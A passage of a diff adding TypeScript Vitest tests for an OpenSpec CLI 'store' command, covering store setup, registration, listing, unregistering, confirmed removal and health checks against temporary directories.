Promise<{ + input: ReturnType<typeof vi.fn>; + confirm: ReturnType<typeof vi.fn>; +}> { + const prompts = await import('@inquirer/prompts'); + return { + input: prompts.input as unknown as ReturnType<typeof vi.fn>, + confirm: prompts.confirm as unknown as ReturnType<typeof vi.fn>, + }; +} + +describe('store command', () => { + let tempDir: string; + let dataHome: string; + let configHome: string; + let globalDataDir: string; + let env: NodeJS.ProcessEnv; + let originalEnv: NodeJS.ProcessEnv; + let originalCwd: string; + let originalStdinTTY: boolean | undefined; + let originalExitCode: string | number | undefined; + let consoleLogSpy: ReturnType<typeof vi.spyOn> | undefined; + let consoleErrorSpy: ReturnType<typeof vi.spyOn> | undefined; + + beforeEach(() => { + vi.resetModules(); + + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-store-command-')); + dataHome = path.join(tempDir, 'data'); + configHome = path.join(tempDir, 'config'); + env = { + XDG_DATA_HOME: dataHome, + XDG_CONFIG_HOME: configHome, + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + }; + globalDataDir = getGlobalDataDir({ env }); + + originalEnv = { ...process.env }; + originalCwd = process.cwd(); + originalStdinTTY = (process.stdin as NodeJS.ReadStream & { isTTY?: boolean }).isTTY; + originalExitCode = process.exitCode; + process.exitCode = undefined; + }); + + afterEach(() => { + process.env = originalEnv; + process.chdir(originalCwd); + (process.stdin as NodeJS.ReadStream & { isTTY?: boolean }).isTTY = originalStdinTTY; + process.exitCode = originalExitCode; + consoleLogSpy?.mockRestore(); + consoleErrorSpy?.mockRestore(); + vi.clearAllMocks(); + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + function mkdir(relativePath: string): string { + const dir = path.join(tempDir, relativePath); + fs.mkdirSync(dir, { recursive: true }); + return dir; + } + + function expectedExistingPath(existingPath: string): string { + return fs.realpathSync.native(existingPath); + } + + function expectHealthyOpenSpecRoot(root: string): void { + expect(fs.existsSync(path.join(root, 'openspec', 'config.yaml')) || fs.existsSync(path.join(root, 'openspec', 'config.yml'))).toBe(true); + expect(fs.existsSync(path.join(root, 'openspec', 'specs'))).toBe(true); + expect(fs.existsSync(path.join(root, 'openspec', 'changes'))).toBe(true); + expect(fs.existsSync(path.join(root, 'openspec', 'changes', 'archive'))).toBe(true); + } + + function expectNoGeneratedAgentOrBetaArtifacts(root: string): void { + for (const artifact of [ + 'initiatives', + '.openspec-workspace', + 'workspace.yaml', + 'AGENTS.md', + '.codex', + '.claude', + '.cursor', + ]) { + expect(fs.existsSync(path.join(root, artifact))).toBe(false); + } + } + + function parseJson(result: RunCLIResult): any { + try { + return JSON.parse(result.stdout); + } catch (error) { + throw new Error( + `Could not parse JSON.\nCommand: ${result.command}\nstdout:\n${result.stdout}\nstderr:\n${result.stderr}\n${String(error)}` + ); + } + } + + it('sets up a store at an explicit path without Git in non-interactive JSON mode', async () => { + const storeRoot = expectedExistingPath(mkdir('team-context')); + const result = await runCLI( + ['store', 'setup', 'team-context', '--path', storeRoot, '--no-init-git', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(0); + expect(result.stderr).toBe(''); + const payload = parseJson(result); + expect(payload.store).toEqual({ + id: 'team-context', + root: storeRoot, + metadata_path: getStoreMetadataPath(storeRoot), + }); + expect(payload.git).toEqual({ + is_repository: false, + initialized: false, + committed: false, + }); + expect(payload.registry).toEqual({ + path: expect.any(String), + registered: true, + already_registered: false, + }); + expect(payload.created_files).toEqual([ + 'openspec/', + 'openspec/specs/', + 'openspec/changes/', + 'openspec/changes/archive/', + 'openspec/config.yaml', + 'openspec/specs/.gitkeep', + 'openspec/changes/archive/.gitkeep', + '.openspec-store/store.yaml', + ]); + expect(payload.status).toEqual([]); + expectHealthyOpenSpecRoot(storeRoot); + expect(fs.readFileSync(path.join(storeRoot, 'openspec', 'config.yaml'), 'utf-8')).toContain( + `schema: ${DEFAULT_OPENSPEC_SCHEMA}` + ); + expectNoGeneratedAgentOrBetaArtifacts(storeRoot); + await expect(readStoreMetadataState(storeRoot)).resolves.toEqual({ + version: 1, + id: 'team-context', + }); + await expect(readStoreRegistryState({ globalDataDir })).resolves.toEqual({ + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: storeRoot, + }, + }, + }, + }); + expect(fs.existsSync(path.join(storeRoot, '.git'))).toBe(false); + }); + + it('runs guided setup when no args are passed in an interactive terminal', async () => { + process.env = { + ...process.env, + XDG_DATA_HOME: dataHome, + XDG_CONFIG_HOME: configHome, + OPENSPEC_TELEMETRY: '0', + }; + delete process.env.OPEN_SPEC_INTERACTIVE; + delete process.env.CI; + process.chdir(tempDir); + (process.stdin as NodeJS.ReadStream & { isTTY?: boolean }).isTTY = true; + consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); + consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); + const storeRoot = path.join(tempDir, 'guided-context'); + const { input, confirm } = await getPromptMocks(); + input.mockImplementation(async (options: { message: string; default?: string }) => { + if (options.message === 'Store name') return 'guided-context'; + if (options.message === 'Where should this store live?') return storeRoot; + return options.default; + }); + confirm.mockResolvedValueOnce(true); + + await runStoreCommand(['setup', '--no-init-git']); + + expect(input).toHaveBeenCalledWith(expect.objectContaining({ + message: 'Store name', + })); + // The suggested location is a visible user path, never the XDG data dir. + expect(input).toHaveBeenCalledWith(expect.objectContaining({ + message: 'Where should this store live?', + default: '~/openspec/guided-context', + })); + expect(confirm).toHaveBeenCalledTimes(1); + expect(confirm).toHaveBeenNthCalledWith(1, { + message: 'Create this store?', + default: true, + }); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(true); + expectHealthyOpenSpecRoot(storeRoot); + expect(fs.existsSync(path.join(storeRoot, '.git'))).toBe(false); + expect(process.exitCode).toBeUndefined(); + }); + + it('requires an explicit path for non-interactive JSON setup', async () => { + const result = await runCLI(['store', 'setup', 'team-context', '--json'], { + cwd: tempDir, + env, + }); + + expect(result.exitCode).toBe(1); + expect(parseJson(result).status[0]).toEqual( + expect.objectContaining({ + code: 'store_setup_path_required', + }) + ); + expect( + fs.existsSync(path.join(getStoresDir({ globalDataDir }), 'team-context')) + ).toBe(false); + }); + + it('requires a setup id for non-interactive JSON setup', async () => { + const result = await runCLI(['store', 'setup', '--json'], { cwd: tempDir, env }); + + expect(result.exitCode).toBe(1); + expect(parseJson(result).status[0]).toEqual( + expect.objectContaining({ + code: 'store_setup_id_required', + }) + ); + }); + + it('supports explicit current-directory setup', async () => { + const storeRoot = mkdir('team-context'); + + const result = await runCLI( + ['store', 'setup', 'team-context', '--path', '.', '--no-init-git', '--json'], + { cwd: storeRoot, env } + ); + + expect(result.exitCode).toBe(0); + expect(parseJson(result).store.root).toBe(expectedExistingPath(storeRoot)); + expectHealthyOpenSpecRoot(storeRoot); + }); + + it('accepts an existing Git-only setup directory', async () => { + const storeRoot = mkdir('team-context'); + execFileSync('git', ['init'], { cwd: storeRoot, stdio: 'ignore' }); + + const result = await runCLI( + ['store', 'setup', 'team-context', '--path', storeRoot, '--no-init-git', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(0); + const payload = parseJson(result); + expect(payload.git).toEqual({ + is_repository: true, + initialized: false, + committed: false, + }); + expect(payload.created_files).toEqual([ + 'openspec/', + 'openspec/specs/', + 'openspec/changes/', + 'openspec/changes/archive/', + 'openspec/config.yaml', + 'openspec/specs/.gitkeep', + 'openspec/changes/archive/.gitkeep', + '.openspec-store/store.yaml', + ]); + expect(fs.existsSync(path.join(storeRoot, '.git'))).toBe(true); + expectHealthyOpenSpecRoot(storeRoot); + }); + + it('preserves an existing healthy OpenSpec root during setup', async () => { + const storeRoot = mkdir('team-context'); + createHealthyOpenSpecRoot(storeRoot, 'config.yml'); + fs.writeFileSync(path.join(storeRoot, 'openspec', 'specs', 'note.md'), 'keep\n'); + + const result = await runCLI( + ['store', 'setup', 'team-context', '--path', storeRoot, '--no-init-git', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(0); + const payload = parseJson(result); + // First-time accept of an existing root anchors its empty directories + // (specs/ has user content here, so only archive/ gets an anchor). + expect(payload.created_files).toEqual([ + 'openspec/changes/archive/.gitkeep', + '.openspec-store/store.yaml', + ]); + expect(fs.existsSync(path.join(storeRoot, 'openspec', 'config.yaml'))).toBe(false); + expect(fs.readFileSync(path.join(storeRoot, 'openspec', 'config.yml'), 'utf-8')).toBe( + `schema: ${DEFAULT_OPENSPEC_SCHEMA}\n` + ); + expect(fs.readFileSync(path.join(storeRoot, 'openspec', 'specs', 'note.md'), 'utf-8')).toBe('keep\n'); + }); + + it('ignores old beta files inside an otherwise healthy root', async () => { + const storeRoot = mkdir('team-context'); + createHealthyOpenSpecRoot(storeRoot); + fs.mkdirSync(path.join(storeRoot, 'initiatives'), { recursive: true }); + fs.mkdirSync(path.join(storeRoot, '.codex'), { recursive: true }); + fs.writeFileSync(path.join(storeRoot, 'workspace.yaml'), 'old: beta\n'); + fs.writeFileSync(path.join(storeRoot, 'AGENTS.md'), 'old beta guidance\n'); + + const result = await runCLI( + ['store', 'setup', 'team-context', '--path', storeRoot, '--no-init-git', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(0); + expect(fs.existsSync(path.join(storeRoot, 'initiatives'))).toBe(true); + expect(fs.existsSync(path.join(storeRoot, '.codex'))).toBe(true); + expect(fs.readFileSync(path.join(storeRoot, 'workspace.yaml'), 'utf-8')).toBe('old: beta\n'); + expect(fs.readFileSync(path.join(storeRoot, 'AGENTS.md'), 'utf-8')).toBe('old beta guidance\n'); + }); + + it('does not treat beta-only folders as healthy roots', async () => { + const storeRoot = mkdir('team-context'); + fs.mkdirSync(path.join(storeRoot, 'initiatives'), { recursive: true }); + fs.writeFileSync(path.join(storeRoot, 'workspace.yaml'), 'old: beta\n'); + + const setup = await runCLI( + ['store', 'setup', 'team-context', '--path', storeRoot, '--no-init-git', '--json'], + { cwd: tempDir, env } + ); + const register = await runCLI( + ['store', 'register', storeRoot, '--yes', '--json'], + { cwd: tempDir, env } + ); + + expect(setup.exitCode).toBe(1); + expect(parseJson(setup).status[0]).toEqual(expect.objectContaining({ + code: 'store_setup_non_empty_directory', + })); + expect(register.exitCode).toBe(1); + expect(parseJson(register).status[0]).toEqual(expect.objectContaining({ + code: 'store_register_root_unhealthy', + })); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(false); + }); + + it('refuses to convert a config-only store pointer repo into a store', async () => { + const pointerRoot = mkdir('app-repo'); + fs.mkdirSync(path.join(pointerRoot, 'openspec'), { recursive: true }); + fs.writeFileSync(path.join(pointerRoot, 'openspec', 'config.yaml'), 'store: team-context\n'); + + const setup = await runCLI( + ['store', 'setup', 'app-context', '--path', pointerRoot, '--no-init-git', '--json'], + { cwd: tempDir, env } + ); + const register = await runCLI( + ['store', 'register', pointerRoot, '--yes', '--json'], + { cwd: tempDir, env } + ); + + expect(setup.exitCode).toBe(1); + expect(parseJson(setup).status[0]).toEqual(expect.objectContaining({ + code: 'store_root_pointer_declared', + })); + expect(register.exitCode).toBe(1); + expect(parseJson(register).status[0]).toEqual(expect.objectContaining({ + code: 'store_root_pointer_declared', + })); + expect(fs.existsSync(path.join(pointerRoot, 'openspec', 'specs'))).toBe(false); + expect(fs.existsSync(path.join(pointerRoot, 'openspec', 'changes'))).toBe(false); + expect(fs.existsSync(getStoreMetadataPath(pointerRoot))).toBe(false); + }); + + it('refuses malformed config-only store pointer repos before registering', async () => { + const pointerRoot = mkdir('bad-app-repo'); + fs.mkdirSync(path.join(pointerRoot, 'openspec'), { recursive: true }); + fs.writeFileSync(path.join(pointerRoot, 'openspec', 'config.yaml'), 'store: [team-context]\n'); + + const result = await runCLI( + ['store', 'register', pointerRoot, '--yes', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(1); + expect(parseJson(result).status[0]).toEqual(expect.objectContaining({ + code: 'invalid_store_pointer', + })); + expect(fs.existsSync(getStoreMetadataPath(pointerRoot))).toBe(false); + }); + + it('rejects explicit setup paths inside an existing Git repo in non-interactive mode', async () => { + const repoRoot = mkdir('repo'); + execFileSync('git', ['init'], { cwd: repoRoot, stdio: 'ignore' }); + const storeRoot = path.join(repoRoot, 'team-context'); + + const result = await runCLI( + ['store', 'setup', 'team-context', '--path', storeRoot, '--no-init-git', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(1); + expect(parseJson(result).status[0]).toEqual( + expect.objectContaining({ + code: 'store_setup_inside_git_repo', + }) + ); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(false); + expect(fs.existsSync(path.join(storeRoot, 'openspec'))).toBe(false); + }); + + it('rejects setup paths inside git-like parents when git cannot resolve the repo', async () => { + const repoRoot = mkdir('repo'); + fs.writeFileSync(path.join(repoRoot, '.git'), `gitdir: ${path.join(tempDir, 'missing-gitdir')}\n`); + const storeRoot = path.join(repoRoot, 'team-context'); + + const result = await runCLI( + ['store', 'setup', 'team-context', '--path', storeRoot, '--no-init-git', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(1); + expect(parseJson(result).status[0]).toEqual( + expect.objectContaining({ + code: 'store_setup_inside_git_repo', + }) + ); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(false); + }); + + it('rejects interactive setup paths inside an existing Git repo without prompting through', async () => { + process.env = { + ...process.env, + XDG_DATA_HOME: dataHome, + XDG_CONFIG_HOME: configHome, + OPENSPEC_TELEMETRY: '0', + }; + delete process.env.OPEN_SPEC_INTERACTIVE; + delete process.env.CI; + process.chdir(tempDir); + (process.stdin as NodeJS.ReadStream & { isTTY?: boolean }).isTTY = true; + consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); + consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); + const { confirm } = await getPromptMocks(); + const repoRoot = mkdir('repo'); + execFileSync('git', ['init'], { cwd: repoRoot, stdio: 'ignore' }); + const storeRoot = path.join(repoRoot, 'team-context'); + confirm.mockResolvedValue(true); + + await runStoreCommand(['setup', 'team-context', '--path', storeRoot]); + + expect(confirm).not.toHaveBeenCalled(); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(false); + expect(fs.existsSync(path.join(storeRoot, 'openspec'))).toBe(false); + expect(process.exitCode).toBe(1); + }); + + it('rejects non-empty setup folders without store metadata', async () => { + const storeRoot = mkdir('existing'); + fs.writeFileSync(path.join(storeRoot, 'notes.md'), 'hello\n'); + + const result = await runCLI( + ['store', 'setup', 'team-context', '--path', storeRoot, '--no-init-git', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(1); + expect(parseJson(result).status[0]).toEqual( + expect.objectContaining({ + code: 'store_setup_non_empty_directory', + }) + ); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(false); + }); + + it('does not prompt before setup validation fails', async () => { + process.env = { + ...process.env, + XDG_DATA_HOME: dataHome, + XDG_CONFIG_HOME: configHome, + OPENSPEC_TELEMETRY: '0', + }; + delete process.env.OPEN_SPEC_INTERACTIVE; + delete process.env.CI; + process.chdir(tempDir); + (process.stdin as NodeJS.ReadStream & { isTTY?: boolean }).isTTY = true; + consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); + consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); + const { confirm } = await getPromptMocks(); + confirm.mockResolvedValue(true); + const storeRoot = mkdir('existing'); + fs.writeFileSync(path.join(storeRoot, 'notes.md'), 'hello\n'); + + await runStoreCommand(['setup', 'team-context', '--path', storeRoot]); + + expect(confirm).not.toHaveBeenCalled(); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(false); + expect(process.exitCode).toBe(1); + }); + + it('refuses to register a plain folder by inferring the folder name', async () => { + const storeRoot = mkdir('team-context'); + + const result = await runCLI( + ['store', 'register', storeRoot, '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(1); + expect(parseJson(result).status[0]).toEqual( + expect.objectContaining({ + code: 'store_register_root_unhealthy', + }) + ); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(false); + }); + + it('registers a cloned healthy store without rewriting planning files', async () => { + const storeRoot = mkdir('team-context'); + createHealthyOpenSpecRoot(storeRoot); + fs.writeFileSync(path.join(storeRoot, 'openspec', 'specs', 'note.md'), 'keep\n'); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'team-context' }); + + const result = await runCLI( + ['store', 'register', storeRoot, '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(0); + const payload = parseJson(result); + expect(payload.store.id).toBe('team-context'); + expect(payload.registry.registered).toBe(true); + expect(payload.created_files).toEqual([]); + expect(fs.readFileSync(path.join(storeRoot, 'openspec', 'specs', 'note.md'), 'utf-8')).toBe('keep\n'); + }); + + it('registers a team store before any changes exist', async () => { + const storeRoot = mkdir('team-context'); + fs.mkdirSync(path.join(storeRoot, 'openspec'), { recursive: true }); + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + `schema: ${DEFAULT_OPENSPEC_SCHEMA}\n` + ); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'team-context' }); + + const result = await runCLI( + ['store', 'register', storeRoot, '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(0); + const payload = parseJson(result); + expect(payload.store.id).toBe('team-context'); + expect(payload.created_files).toEqual([]); + expect(fs.existsSync(path.join(storeRoot, 'openspec', 'changes'))).toBe(false); + expect(fs.existsSync(path.join(storeRoot, 'openspec', 'specs'))).toBe(false); + expect(fs.existsSync(path.join(storeRoot, 'openspec', 'changes', 'archive'))).toBe(false); + }); + + it('registers a store with active changes before specs or archive exist', async () => { + const storeRoot = mkdir('team-context'); + fs.mkdirSync(path.join(storeRoot, 'openspec', 'changes', 'add-widget'), { recursive: true }); + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'changes', 'add-widget', 'proposal.md'), + '# Proposal\n' + ); + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + `schema: ${DEFAULT_OPENSPEC_SCHEMA}\n` + ); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'team-context' }); + + const result = await runCLI( + ['store', 'register', storeRoot, '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(0); + const payload = parseJson(result); + expect(payload.store.id).toBe('team-context'); + expect(payload.created_files).toEqual([]); + expect(fs.existsSync(path.join(storeRoot, 'openspec', 'specs'))).toBe(false); + expect(fs.existsSync(path.join(storeRoot, 'openspec', 'changes', 'archive'))).toBe(false); + }); + + it('requires confirmation before registering a healthy root without identity', async () => { + const storeRoot = mkdir('team-context'); + createHealthyOpenSpecRoot(storeRoot); + + const refused = await runCLI( + ['store', 'register', storeRoot, '--json'], + { cwd: tempDir, env } + ); + + expect(refused.exitCode).toBe(1); + expect(parseJson(refused).status[0]).toEqual( + expect.objectContaining({ + code: 'store_register_identity_confirmation_required', + }) + ); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(false); + + const confirmed = await runCLI( + ['store', 'register', storeRoot, '--yes', '--json'], + { cwd: tempDir, env } + ); + + expect(confirmed.exitCode).toBe(0); + expect(parseJson(confirmed).created_files).toEqual(['.openspec-store/store.yaml']); + await expect(readStoreMetadataState(storeRoot)).resolves.toEqual({ + version: 1, + id: 'team-context', + }); + }); + + it('writes nothing when interactive register conversion is declined', async () => { + process.env = { + ...process.env, + XDG_DATA_HOME: dataHome, + XDG_CONFIG_HOME: configHome, + OPENSPEC_TELEMETRY: '0', + }; + delete process.env.OPEN_SPEC_INTERACTIVE; + delete process.env.CI; + process.chdir(tempDir); + (process.stdin as NodeJS.ReadStream & { isTTY?: boolean }).isTTY = true; + consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); + consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); + const { confirm } = await getPromptMocks(); + confirm.mockResolvedValue(false); + const storeRoot = mkdir('team-context'); + createHealthyOpenSpecRoot(storeRoot); + + await runStoreCommand(['register', storeRoot]); + + expect(confirm).toHaveBeenCalledWith({ + message: "Turn this OpenSpec root into store 'team-context'?", + default: false, + }); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(false); + await expect(readStoreRegistryState({ globalDataDir })).resolves.toBeNull(); + expect(process.exitCode).toBe(1); + }); + + it('reports repeated setup and register as no-op success', async () => { + const storeRoot = mkdir('team-context'); + createHealthyOpenSpecRoot(storeRoot); + fs.writeFileSync(path.join(storeRoot, 'openspec', 'config.yaml'), 'schema: spec-driven\n# user edit\n'); + + const firstSetup = await runCLI( + ['store', 'setup', 'team-context', '--path', storeRoot, '--no-init-git', '--json'], + { cwd: tempDir, env } + ); + expect(firstSetup.exitCode).toBe(0); + + const secondSetup = await runCLI( + ['store', 'setup', 'team-context', '--path', storeRoot, '--no-init-git', '--json'], + { cwd: tempDir, env } + ); + expect(secondSetup.exitCode).toBe(0); + const setupPayload = parseJson(secondSetup); + expect(setupPayload.created_files).toEqual([]); + expect(setupPayload.status[0]).toEqual( + expect.objectContaining({ + code: 'store_already_registered', + }) + ); + + // A rerun with defaulted Git flags stays a strict no-op: it neither + // requires a commit identity nor git-inits the registered no-Git store. + const defaultFlagsRerun = await runCLI( + ['store', 'setup', 'team-context', '--path', storeRoot, '--json'], + { cwd: tempDir, env } + ); + expect(defaultFlagsRerun.exitCode).toBe(0); + const defaultFlagsPayload = parseJson(defaultFlagsRerun); + expect(defaultFlagsPayload.created_files).toEqual([]); + expect(defaultFlagsPayload.git).toEqual({ + is_repository: false, + initialized: false, + committed: false, + }); + expect(fs.existsSync(path.join(storeRoot, '.git'))).toBe(false); + + const secondRegister = await runCLI( + ['store', 'register', storeRoot, '--json'], + { cwd: tempDir, env } + ); + expect(secondRegister.exitCode).toBe(0); + const registerPayload = parseJson(secondRegister); + expect(registerPayload.created_files).toEqual([]); + expect(registerPayload.status[0]).toEqual( + expect.objectContaining({ + code: 'store_already_registered', + }) + ); + expect(fs.readFileSync(path.join(storeRoot, 'openspec', 'config.yaml'), 'utf-8')).toBe( + 'schema: spec-driven\n# user edit\n' + ); + await expect(readStoreRegistryState({ globalDataDir })).resolves.toEqual({ + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: expectedExistingPath(storeRoot), + }, + }, + }, + }); + }); + + it('rejects registry id and alias path conflicts', async () => { + const firstRoot = mkdir('first/team-context'); + const secondRoot = mkdir('second/team-context'); + const aliasRoot = path.join(tempDir, 'alias-team-context'); + createHealthyOpenSpecRoot(firstRoot); + createHealthyOpenSpecRoot(secondRoot); + await writeStoreMetadataState(firstRoot, { version: 1, id: 'team-context' }); + await writeStoreMetadataState(secondRoot, { version: 1, id: 'team-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: firstRoot, + }, + }, + }, + }, + { globalDataDir } + ); + + const sameId = await runCLI( + ['store', 'register', secondRoot, '--id', 'team-context', '--json'], + { cwd: tempDir, env } + ); + expect(sameId.exitCode).toBe(1); + expect(parseJson(sameId).status[0]).toEqual( + expect.objectContaining({ + code: 'store_id_conflict', + }) + ); + + fs.rmSync(path.join(firstRoot, '.openspec-store'), { recursive: true, force: true }); + await writeStoreMetadataState(firstRoot, { version: 1, id: 'other-context' }); + fs.symlinkSync(firstRoot, aliasRoot, process.platform === 'win32' ? 'junction' : 'dir'); + const samePath = await runCLI( + ['store', 'register', aliasRoot, '--id', 'other-context', '--json'], + { cwd: tempDir, env } + ); + expect(samePath.exitCode).toBe(1); + expect(parseJson(samePath).status[0]).toEqual( + expect.objectContaining({ + code: 'store_path_conflict', + }) + ); + }); + + it('lists the local registry without health checks', async () => { + await writeStoreRegistryState( + { + version: 1, + stores: { + 'zeta-context': { + backend: { + type: 'git', + local_path: path.join(tempDir, 'missing-zeta'), + }, + }, + 'alpha-context': { + backend: { + type: 'git', + local_path: path.join(tempDir, 'missing-alpha'), + }, + }, + }, + }, + { globalDataDir } + ); + + const result = await runCLI(['store', 'list', '--json'], { cwd: tempDir, env }); + + expect(result.exitCode).toBe(0); + expect(parseJson(result)).toEqual({ + stores: [ + { + id: 'alpha-context', + root: path.join(tempDir, 'missing-alpha'), + }, + { + id: 'zeta-context', + root: path.join(tempDir, 'missing-zeta'), + }, + ], + status: [], + }); + }); + + it('unregisters a store without deleting local files', async () => { + const storeRoot = mkdir('team-context'); + const canonicalStoreRoot = expectedExistingPath(storeRoot); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'team-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: canonicalStoreRoot, + }, + }, + }, + }, + { globalDataDir } + ); + + const result = await runCLI( + ['store', 'unregister', 'team-context', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(0); + expect(parseJson(result)).toEqual(expect.objectContaining({ + store: expect.objectContaining({ + id: 'team-context', + root: canonicalStoreRoot, + }), + registry: expect.objectContaining({ + removed: true, + }), + files: expect.objectContaining({ + deleted: false, + left_on_disk: canonicalStoreRoot, + }), + })); + await expect(readStoreRegistryState({ globalDataDir })).resolves.toEqual({ + version: 1, + stores: {}, + }); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(true); + }); + + it('requires explicit confirmation before removing files non-interactively', async () => { + const storeRoot = mkdir('team-context'); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'team-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: storeRoot, + }, + }, + }, + }, + { globalDataDir } + ); + + const result = await runCLI( + ['store', 'remove', 'team-context', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(1); + expect(parseJson(result).status[0]).toEqual( + expect.objectContaining({ + code: 'store_remove_confirmation_required', + }) + ); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(true); + }); + + it('removes a store after explicit non-interactive confirmation', async () => { + const storeRoot = mkdir('team-context'); + const canonicalStoreRoot = expectedExistingPath(storeRoot); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'team-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: canonicalStoreRoot, + }, + }, + }, + }, + { globalDataDir } + ); + + const result = await runCLI( + ['store', 'remove', 'team-context', '--yes', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(0); + expect(parseJson(result)).toEqual(expect.objectContaining({ + store: expect.objectContaining({ + id: 'team-context', + root: canonicalStoreRoot, + }), + registry: expect.objectContaining({ + removed: true, + }), + files: expect.objectContaining({ + deleted: true, + deleted_path: canonicalStoreRoot, + }), + })); + await expect(readStoreRegistryState({ globalDataDir })).resolves.toEqual({ + version: 1, + stores: {}, + }); + expect(fs.existsSync(storeRoot)).toBe(false); + }); + + it('refuses to remove files when the folder lacks matching store metadata', async () => { + const storeRoot = mkdir('team-context'); + const canonicalStoreRoot = expectedExistingPath(storeRoot); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: canonicalStoreRoot, + }, + }, + }, + }, + { globalDataDir } + ); + + const result = await runCLI( + ['store', 'remove', 'team-context', '--yes', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(1); + expect(parseJson(result).status[0]).toEqual( + expect.objectContaining({ + code: 'store_remove_metadata_missing', + }) + ); + expect(fs.existsSync(storeRoot)).toBe(true); + await expect(readStoreRegistryState({ globalDataDir })).resolves.toEqual({ + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: canonicalStoreRoot, + }, + }, + }, + }); + }); + + it('rejects an explicit blank doctor id', async () => { + const result = await runCLI(['store', 'doctor', '', '--json'], { cwd: tempDir, env }); + + expect(result.exitCode).toBe(1); + expect(parseJson(result).status[0]).toEqual( + expect.objectContaining({ + code: 'invalid_store_id', + }) + ); + }); + + it('doctors registered store path, metadata, and Git presence', async () => { + const healthyRoot = mkdir('healthy-context'); + const mismatchRoot = mkdir('mismatch-context'); + execFileSync('git', ['init'], { cwd: healthyRoot, stdio: 'ignore' }); + createHealthyOpenSpecRoot(healthyRoot); + createHealthyOpenSpecRoot(mismatchRoot); + await writeStoreMetadataState(healthyRoot, { version: 1, id: 'healthy-context' }); + await writeStoreMetadataState(mismatchRoot, { version: 1, id: 'other-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'healthy-context': { + backend: { + type: 'git', + local_path: healthyRoot, + }, + }, + 'missing-context': { + backend: { + type: 'git', + local_path: path.join(tempDir, 'missing-context'), + }, + }, + 'mismatch-context': { + backend: { + type: 'git', + local_path: mismatchRoot, + }, + }, + }, + }, + { globalDataDir } + ); + + const result = await runCLI(['store', 'doctor', '--json'], { cwd: tempDir, env }); + + expect(result.exitCode).toBe(0); + const payload = parseJson(result); + const byId = Object.fromEntries(payload.stores.map((store: any) => [store.id, store])); + // A healthy root in a commitless repo is the clone trap; doctor warns. + expect(byId['healthy-context'].status).toEqual([ + expect.objectContaining({ + severity: 'warning', + code: 'store_git_no_commits', + }), + ]); + expect(byId['healthy-context'].openspec_root.healthy).toBe(true); + expect(byId['healthy-context'].git).toEqual({ + is_repository: true, + has_commits: false, + has_uncommitted_changes: true, + has_remote: false, + origin_url: null, + }); + expect(byId['missing-context'].status[0]).toEqual( + expect.objectContaining({ + code: 'store_root_missing', + }) + ); + expect(byId['missing-context'].openspec_root.present).toBeNull(); + expect(byId['mismatch-context'].status[0]).toEqual( + expect.objectContaining({ + code: 'store_metadata_id_mismatch', + }) + ); + }); + + it('reports OpenSpec root health separately without repairing it', async () => { + const storeRoot = 